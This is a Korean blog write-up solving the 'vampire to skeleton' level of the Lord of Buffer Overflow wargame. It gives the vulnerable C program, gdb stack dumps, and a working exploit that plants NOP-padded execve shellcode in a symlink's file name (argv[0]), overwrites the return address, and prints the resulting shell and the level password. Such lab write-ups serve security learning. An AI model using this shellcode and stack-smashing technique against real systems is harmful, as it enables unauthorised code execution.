728x90

vampire / music world

/*
        The Lord of the BOF : The Fellowship of the BOF
        - skeleton
        - argv hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i, saved_argc;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// egghunter 
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	// check the length of argument
	if(strlen(argv[1]) > 48){
		printf("argument is too long!\n");
		exit(0);
	}

	// argc saver
	saved_argc = argc;

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

	// ultra argv hunter!
	for(i=0; i<saved_argc; i++)
		memset(argv[i], 0, strlen(argv[i]));
}

buffer도 0으로 초기화 시키고 있으며 argv 인자들을 0으로 초기화 시키고 있는 것이다.

기존에 해왔던 공격 방법들 중엔 쓸 만한게 생각나지 않는다. gdb로 복사한 skeleton 파일을 실행해보았다.

그리고 스택을 들여다보았다.

(gdb) r `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`
Starting program: /home/vampire/tmp/skeleton `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`

Breakpoint 1, 0x8048506 in main ()
(gdb) x/1000s $esp
0xbffffa88:	 "Ϝ202\004\b \034\002@¸󾰩"
0xbffffa97:	 "@[\205\017@4\227\004\b`®"
0xbffffaa3:	 "@\004󿹺ÿ¿ꚲ04\004\b \227\004\b4\227\004\bٺÿ¿ʜt\003@\002"
(생략)
0xbfffff72:	 "HISTSIZE=1000"
0xbfffff80:	 "TERM=xterm"
0xbfffff8b:	 "HOME=/home/vampire"
0xbfffff9e:	 "PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/vampire/bin"
0xbfffffe1:	 "/home/vampire/tmp/skeleton"
0xbffffffc:	 ""
0xbffffffd:	 ""
0xbffffffe:	 ""
0xbfffffff:	 ""
0xc0000000:	 <Address 0xc0000000 out of bounds>
0xc0000000:	 <Address 0xc0000000 out of bounds>

스택의 가장 아래쪽(가장 큰 주소)근처에 실행한 파일명이 나온다. 즉, argv[0]이다. 여기에 쉘 코드를 존재하고 retn 주소를 주변으로 잡으면 어떻게 될까? 일단 실행파일명에 쉘 코드가 들어가야하므로 이전에 troll 문제 풀때 사용했던 심볼릭 링크 방식을 이용한다.

buffer의 주소는 ebp-40이다. strcpy의 인자로 ebp-40이 들어가는 것을 보면 알 수 있다.

0x80485ee <main+238>:	push   %edx
0x80485ef <main+239>:	lea    %eax,[%ebp-40]
0x80485f2 <main+242>:	push   %eax
0x80485f3 <main+243>:	call   0x8048440 <strcpy>
0x80485f8 <main+248>:	add    %esp,8
[vampire@localhost tmp]$ ln -s skeleton `python -c 'print "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*50'`
[vampire@localhost tmp]$ gdb `python -c 'print "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*50'` -q
(gdb) b main
Breakpoint 1 at 0x8048506
(gdb) r `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`
Starting program: /home/vampire/tmp/鐞1ɱ2lÿ瀵󬩪ÿÿÿ2i00tii0cjo㐔⚱
                                                               ΁ `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`
Xshell
Breakpoint 1, 0x8048506 in main ()
(gdb) x/500s $ebp
0xbffff9a8:	 "ɹÿ¿ʜt\003@\002"
0xbffff9b2:	 ""
0xbffff9b3:	 ""
(생략)
0xbfffff12:	 "PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/vampire/bin"
0xbfffff55:	 "/home/vampire/tmp/", '\220' <repeats 50 times>, "ꚰ21^1ɱ2\200l\016ÿ\001\200蚰01u󪚰05髿ÿÿ2i00tii0cjo\212㐔\212ᚲ32±\f͜201", '\220' <repeats 50 times>
0xbffffffc:	 ""
0xbffffffd:	 ""
0xbffffffe:	 ""
0xbfffffff:	 ""
0xc0000000:	 <Address 0xc0000000 out of bounds>
0xc0000000:	 <Address 0xc0000000 out of bounds>

tmp 디렉터리를 /home/vampire 밑에 만들어서 내부에서 작업했다. skeleton 실행파일도 tmp 디렉터리 내부에 복사해서 사용했다. 우선 심볼릭 링크를 만든다. ln -s 원본파일 심볼릭링크파일 형식이다. 심볼릭 링크파일 명은 \x90 50개+쉘 코드+\x90 50개이다. 처음에 \x90 100개+쉘 코드 형식으로 하니 원하던대로 작동하지 않았다. 찾아보니 스택 가장 하단에 가깝게 쉘 코드가 존재하면 문제가 있다는 글을 보았다. 심볼릭링크 파일로 gdb를 실행한다. 스택 젤 아래쪽에 쉘 코드가 저장되어야하기 때문이다. argv[1]에는 임의의 값을 준다. 별 의미는 없다.

x/500s를 사용하는데 x/s $ebp는 $ebp 주소에 저장된 값을 문자열 형식으로 보여준다. 0xbfffff55에 argv[0]이 들어가있다. retn 주소는 \x90중 하나인 0xbfffff85으로 설정해야겠다.

[vampire@localhost vampire]$ ln -s skeleton `python -c 'print "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*50'`
[vampire@localhost vampire]$ /home/vampire/`python -c 'print "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*50'` `python -c 'print "A"*44+"\x85\xff\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÿÿ¿
bash$ my-pass
euid = 510
shellcoder
bash$

tmp에 복사한 skeleton 파일을 대상으로 실행해보니 바로 성공했다. 그래서 /home/vampire 디렉터리 내부의 skeleton 파일을 대상으로 실행하니 역시 성공했다.

skeleton의 비밀번호는 shellcoder이다.

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

golem -> darkknight  (0) 2023.01.26
skeleton -> golem  (0) 2023.01.25
troll -> vampire  (2) 2023.01.24
orge -> troll  (0) 2023.01.23
darkelf -> orge  (0) 2023.01.21

+ Recent posts